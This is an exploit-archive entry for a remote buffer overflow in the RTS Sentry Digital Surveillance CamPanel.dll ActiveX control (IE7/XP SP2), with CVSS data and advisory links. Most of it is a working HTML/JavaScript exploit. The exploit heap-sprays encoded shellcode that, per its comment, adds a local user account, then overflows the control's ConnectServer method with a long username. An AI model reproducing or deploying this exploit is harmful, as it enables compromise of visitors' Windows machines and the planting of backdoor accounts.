RTS Sentry Digital Surveillance (CamPanel.dll 2.1.0.2) BOF Exploit

2008-10-16 / 2008-10-17
Credit: rgod
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

<!-- RTS Sentry Digital Surveillance PTZCamPanel Class (CamPanel.dll 2.1.0.2) remote buffer overflow exploit (ie7/xp sp2) check this camera demo: http://www.rtssentry.com/index.asp?PageAction=Custom&ID=10 rgod - stay tuned with us ... http://retrogod.altervista.org/join.html security feeds, radio streams, techno/drum & bass stations to come --> <html> <object classid='clsid:A86934DA-C3D6-4C1C-BD83-CA4F14B362DE' id='PTZCamPanelCtrl' /></object> <script language="javascript"> //add su one, user: sun pass: tzu shellcode = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" + "%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" + "%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241" + "%u4142%u4230%u5841%u3850%u4241%u6d75%u6b39%u494c" + "%u5078%u3344%u6530%u7550%u4e50%u716b%u6555%u6c6c" + "%u614b%u676c%u3175%u6568%u5a51%u4e4f%u306b%u564f" + "%u4c78%u414b%u774f%u4450%u4841%u576b%u4c39%u664b" + "%u4c54%u444b%u7841%u466e%u6951%u4f50%u6c69%u6b6c" + "%u6f34%u3330%u6344%u6f37%u6a31%u646a%u474d%u4871" + "%u7842%u4c6b%u6534%u716b%u5144%u6334%u7434%u5835" + "%u6e65%u736b%u646f%u7364%u5831%u756b%u4c36%u644b" + "%u624c%u6c6b%u634b%u656f%u574c%u7871%u4c6b%u774b" + "%u4c6c%u464b%u7861%u4f6b%u7379%u516c%u3334%u6b34" + "%u7073%u4931%u7550%u4e34%u536b%u3470%u4b70%u4f35" + "%u7030%u4478%u4c4c%u414b%u5450%u4c4c%u624b%u6550" + "%u6c4c%u6e6d%u626b%u6548%u6858%u336b%u6c39%u4f4b" + "%u4e70%u5350%u3530%u4350%u6c30%u704b%u3568%u636c" + "%u366f%u4b51%u5146%u7170%u4d46%u5a59%u6c58%u5943" + "%u6350%u364b%u4230%u7848%u686f%u694e%u3170%u3370" + "%u4d58%u6b48%u6e4e%u346a%u464e%u3937%u396f%u7377" + "%u7053%u426d%u6444%u756e%u5235%u3058%u6165%u4630" + "%u654f%u3133%u7030%u706e%u3265%u7554%u7170%u7265" + "%u5353%u7055%u5172%u5030%u4273%u3055%u616e%u4330" + "%u7244%u515a%u5165%u5430%u526f%u5161%u3354%u3574" + "%u7170%u5736%u4756%u7050%u306e%u7465%u4134%u7030" + "%u706c%u316f%u7273%u6241%u614c%u4377%u6242%u524f" + "%u3055%u6770%u3350%u7071%u3064%u516d%u4279%u324e" + "%u7049%u5373%u5244%u4152%u3371%u3044%u536f%u4242" + "%u6153%u5230%u4453%u5035%u756e%u3470%u506f%u6741" + "%u7734%u4734%u4570"); bigblock = unescape("%u9090%u9090"); headersize = 20; slackspace = headersize+shellcode.length; while (bigblock.length<slackspace) bigblock+=bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length-slackspace); while(block.length+slackspace<0x40000) block = block+block+fillblock; memory = new Array(); for (i=0;i<50;i++){memory[i] = block+shellcode} bigblock = unescape("%u0808%u0808"); while (bigblock.length<slackspace) bigblock+=bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length-slackspace); while(block.length+slackspace<0x40000) block = block+block+fillblock; for (i=50;i<100;i++){memory[i] = block+shellcode} bigblock = unescape("%u0c0c%u0c0c"); while (bigblock.length<slackspace) bigblock+=bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length-slackspace); while(block.length+slackspace<0x40000) block = block+block+fillblock; for (i=100;i<510;i++){memory[i] = block+shellcode} server="xxxxxxxx"; user="";for (i=0;i<=9999;i++){user=user + unescape("%0d")} PTZCamPanelCtrl.ConnectServer(server,user); </script> </html>

References:

http://xforce.iss.net/xforce/xfdb/39725
http://www.securityfocus.com/bid/27304
http://www.milw0rm.com/exploits/4918
http://secunia.com/advisories/28435


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